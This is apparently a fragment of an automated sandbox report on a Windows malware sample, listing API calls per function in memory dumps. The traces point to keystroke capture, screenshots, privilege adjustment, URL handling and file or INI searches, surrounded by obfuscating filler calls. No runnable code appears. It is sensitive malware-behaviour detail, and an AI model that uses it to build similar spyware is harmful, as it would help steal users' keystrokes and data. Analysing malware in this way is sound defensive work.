    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F833, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 170
    APIs
    • EndDoc.GDI32 ref: 0040F833
    • lstrcpynW.KERNEL32 ref: 0040F839
    • SetAbortProc.GDI32 ref: 0040F83F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040992C, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 158
    APIs
    • MessageBeep.USER32 ref: 0040992C
    • GetWindowPlacement.USER32 ref: 00409932
    • GetMenuState.USER32 ref: 00409938
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040EA08, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 156
    APIs
    • CloseHandle.KERNEL32 ref: 0040EA08
    • LocalFree.KERNEL32 ref: 0040EA0E
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00414143, Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 142
    APIs
    • GetSystemTimeAsFileTime.KERNEL32 ref: 00414143
    • MapAndLoad.IMAGEHLP(K56rY,D3k3Ebl,?,00000000,00000000), ref: 004141DE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00415A89, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 123
    APIs
    • GetSystemMenu.USER32 ref: 00415A89
    • GetCurrentThreadId.KERNEL32 ref: 00415A8F
    • SetScrollPos.USER32 ref: 00415A95
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00415AC6
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC9ED2, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00BC9EE9
    • GetProcAddress.KERNEL32(?,?), ref: 00BC9F15
    • GetProcAddress.KERNEL32(?,00000006), ref: 00BC9F2C
    • GetProcAddress.KERNEL32(?,00000000), ref: 00BC9F44
    • FreeLibrary.KERNEL32(?), ref: 00BC9FCD
      • Part of subcall function 00BB9B6C: GetCurrentThread.KERNEL32 ref: 00BB9B7C
      • Part of subcall function 00BB9B6C: OpenThreadToken.ADVAPI32 ref: 00BB9B83
      • Part of subcall function 00BB9B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00BC9F61), ref: 00BB9B95
      • Part of subcall function 00BB9B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00BC9F61,?), ref: 00BB9BB9
      • Part of subcall function 00BB9B6C: AdjustTokenPrivileges.ADVAPI32(00BC9F61,00000000,00000001,00000000,00000000,00000000), ref: 00BB9BCE
      • Part of subcall function 00BB9B6C: GetLastError.KERNEL32 ref: 00BB9BD8
      • Part of subcall function 00BB9B6C: CloseHandle.KERNEL32(00BC9F61), ref: 00BB9BE7
    • WTSGetActiveConsoleSessionId.KERNEL32 ref: 00BC9F61
      • Part of subcall function 00BC9E61: EqualSid.ADVAPI32(?,?), ref: 00BC9E86
      • Part of subcall function 00BC9E61: CloseHandle.KERNEL32(?), ref: 00BC9EC7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00429ED2, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 99
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00429EE9
    • GetProcAddress.KERNEL32(?,?), ref: 00429F15
    • GetProcAddress.KERNEL32(?,00000006), ref: 00429F2C
    • GetProcAddress.KERNEL32(?,00000000), ref: 00429F44
    • FreeLibrary.KERNEL32(?), ref: 00429FCD
      • Part of subcall function 00419B6C: GetCurrentThread.KERNEL32 ref: 00419B7C
      • Part of subcall function 00419B6C: OpenThreadToken.ADVAPI32 ref: 00419B83
      • Part of subcall function 00419B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,?), ref: 00419B95
      • Part of subcall function 00419B6C: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00419BB9
      • Part of subcall function 00419B6C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 00419BCE
      • Part of subcall function 00419B6C: GetLastError.KERNEL32 ref: 00419BD8
      • Part of subcall function 00419B6C: CloseHandle.KERNEL32(?), ref: 00419BE7
    • WTSGetActiveConsoleSessionId.KERNEL32 ref: 00429F61
      • Part of subcall function 00429E61: EqualSid.ADVAPI32(?,?), ref: 00429E86
      • Part of subcall function 00429E61: CloseHandle.KERNEL32(?), ref: 00429EC7
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC1F30, Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 416
    APIs
      • Part of subcall function 00BB91F6: CharLowerA.USER32(?), ref: 00BB92C6
      • Part of subcall function 00BB91F6: CharLowerA.USER32(?), ref: 00BB92D0
      • Part of subcall function 00BB82C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00BB82DD
      • Part of subcall function 00BB8130: HeapAlloc.KERNEL32(00000008,?,00BBC881), ref: 00BB8141
      • Part of subcall function 00BB80EB: HeapAlloc.KERNEL32(00000008,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?,?), ref: 00BB810D
      • Part of subcall function 00BB80EB: HeapReAlloc.KERNEL32(00000008,?,?,00BB847D,?,00BA7A97,?,00BB8FC7,?,?,00BA7A97,?,?,00BB8F77,?,?), ref: 00BB811E
      • Part of subcall function 00BBD156: StrCmpNIA.SHLWAPI(00000001,nbsp;,00000005), ref: 00BBD279
    • InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 00BC2289
    • GetSystemTime.KERNEL32(?), ref: 00BC22A8
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
    • LeaveCriticalSection.KERNEL32(00BD3FEC), ref: 00BC241A
      • Part of subcall function 00BB9656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 00BB966F
      • Part of subcall function 00BB9656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00BB9687
      • Part of subcall function 00BB9656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 00BB96A3
      • Part of subcall function 00BB9656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 00BB96BB
      • Part of subcall function 00BB9656: CryptDestroyHash.ADVAPI32(?), ref: 00BB96D2
      • Part of subcall function 00BB9656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 00BB96DC
    • GetLocalTime.KERNEL32(?), ref: 00BC23B2
      • Part of subcall function 00BBC7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00BBC80C
      • Part of subcall function 00BBC7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00BBC826
      • Part of subcall function 00BBC7EE: RegCloseKey.ADVAPI32(00000000), ref: 00BBC835
    • EnterCriticalSection.KERNEL32(00BD3FEC,00000000), ref: 00BC23DE
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00413FFD, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 194
    APIs
    • MapAndLoad.IMAGEHLP(K56rY,D3k3Ebl,?,00000000,00000000), ref: 004141DE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0041439F
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004143E0
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0041445A
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E985, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 180
    APIs
    • CloseHandle.KERNEL32 ref: 0040E985
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040DF92, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 177
    APIs
    • CloseHandle.KERNEL32 ref: 0040DF92
    • GlobalUnlock.KERNEL32 ref: 0040DF98
    • RegisterClassExW.USER32 ref: 0040DF9E
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040DFBE
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E260
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 0040E43F
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0041074B, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 174
    APIs
    • LocalReAlloc.KERNEL32 ref: 0041074B
    • RegisterWindowMessageW.USER32 ref: 00410751
    • MoveWindow.USER32 ref: 00410757
    • MapAndLoad.IMAGEHLP(Kl2,a177vH5,?,00000000,00000000), ref: 00410865
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00410B55
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040AA2E, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 170
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E9C3, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168
    APIs
    • EnumFontsW.GDI32 ref: 0040E9C3
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC3F77, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 148
    APIs
      • Part of subcall function 00BBC6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 00BBC6C6
      • Part of subcall function 00BBC6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BBC748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BC3FDE
      • Part of subcall function 00BC3D7F: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00BC3DB6
      • Part of subcall function 00BC3D7F: StrStrIW.SHLWAPI(?,?), ref: 00BC3E48
      • Part of subcall function 00BC3D7F: StrStrIW.SHLWAPI(?,?), ref: 00BC3E59
      • Part of subcall function 00BC3D7F: GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00BC3E75
      • Part of subcall function 00BC3D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00BC3E93
      • Part of subcall function 00BC3D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00BC3EAD
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00BC3FFB
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00BC4077
      • Part of subcall function 00BBDD7A: FindFirstFileW.KERNEL32(?,?), ref: 00BBDDB9
      • Part of subcall function 00BBDD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 00BBDDE0
      • Part of subcall function 00BBDD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 00BBDE2A
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE57
      • Part of subcall function 00BBDD7A: Sleep.KERNEL32(00000000), ref: 00BBDE87
      • Part of subcall function 00BBDD7A: FindNextFileW.KERNEL32(?,?), ref: 00BBDEB5
      • Part of subcall function 00BBDD7A: FindClose.KERNEL32(?), ref: 00BBDEC7
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00BC4118
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00423F77, Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 148
    APIs
      • Part of subcall function 0041C6B1: RegOpenKeyExW.ADVAPI32(80000002,00000000,00000000,00000001,00000000), ref: 0041C6C6
      • Part of subcall function 0041C6B1: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 0041C748
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00423FDE
      • Part of subcall function 00423D7F: GetPrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?,0000FFFF,?), ref: 00423DB6
      • Part of subcall function 00423D7F: StrStrIW.SHLWAPI(?,?), ref: 00423E48
      • Part of subcall function 00423D7F: StrStrIW.SHLWAPI(?,?), ref: 00423E59
      • Part of subcall function 00423D7F: GetPrivateProfileStringW.KERNEL32(?,?,?,?,000000FF,?), ref: 00423E75
      • Part of subcall function 00423D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423E93
      • Part of subcall function 00423D7F: GetPrivateProfileStringW.KERNEL32(?,?,00000000,?,000000FF,?), ref: 00423EAD
    • PathRemoveFileSpecW.SHLWAPI(?), ref: 00423FFB
    • SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?), ref: 00424077
      • Part of subcall function 0041DD7A: FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
      • Part of subcall function 0041DD7A: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
      • Part of subcall function 0041DD7A: FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
      • Part of subcall function 0041DD7A: FindClose.KERNEL32(?), ref: 0041DEC7
    • ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00424118
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00410828, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 129
    APIs
    • IsDialogMessageW.USER32 ref: 00410828
    • GetKeyboardLayout.USER32 ref: 0041082E
    • CreateDCW.GDI32 ref: 00410834
    • MapAndLoad.IMAGEHLP(Kl2,a177vH5,?,00000000,00000000), ref: 00410865
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00410B55
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC8575, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 107
    APIs
    • TranslateMessage.USER32(?), ref: 00BC86D3
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
    • EnterCriticalSection.KERNEL32(00BD4170), ref: 00BC85AF
    • LeaveCriticalSection.KERNEL32(00BD4170), ref: 00BC8659
      • Part of subcall function 00BB7B9E: LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00BB7BD0
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00BB7BE1
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00BB7BEE
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00BB7BFB
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00BB7C08
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00BB7C15
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00BB7C22
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00BB7C2F
      • Part of subcall function 00BB7B9E: LoadLibraryA.KERNEL32(ole32.dll), ref: 00BB7C77
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00BB7C82
      • Part of subcall function 00BB7B9E: LoadLibraryA.KERNEL32(gdi32.dll), ref: 00BB7C94
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(?,CreateDCW), ref: 00BB7C9F
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00BB7CAB
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00BB7CB8
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00BB7CC5
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00BB7CD2
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00BB7CDF
      • Part of subcall function 00BB7B9E: GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00BB7CEC
      • Part of subcall function 00BB7B9E: FreeLibrary.KERNEL32(00000000), ref: 00BB8030
      • Part of subcall function 00BB7B9E: FreeLibrary.KERNEL32(?), ref: 00BB803A
      • Part of subcall function 00BB7B9E: FreeLibrary.KERNEL32(00000001), ref: 00BB8044
    • GetTickCount.KERNEL32 ref: 00BC861B
      • Part of subcall function 00BB8E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00BB8EB4
    • GetKeyboardState.USER32(?), ref: 00BC8673
    • ToUnicode.USER32(0000001B,?,?,?,00000009,00000000), ref: 00BC869B
      • Part of subcall function 00BC83EA: EnterCriticalSection.KERNEL32(00BD4170,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8407
      • Part of subcall function 00BC83EA: LeaveCriticalSection.KERNEL32(00BD4170,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8428
      • Part of subcall function 00BC83EA: EnterCriticalSection.KERNEL32(00BD4170,?,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC8439
      • Part of subcall function 00BC83EA: LeaveCriticalSection.KERNEL32(00BD4170,?,?,?,?,00BC86D2,00000000,?,?,?,00000009,00000000), ref: 00BC84C1
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040AC2E, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 99
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00408D99, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 97
    APIs
    • GetSystemTimeAsFileTime.KERNEL32 ref: 00408D99
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
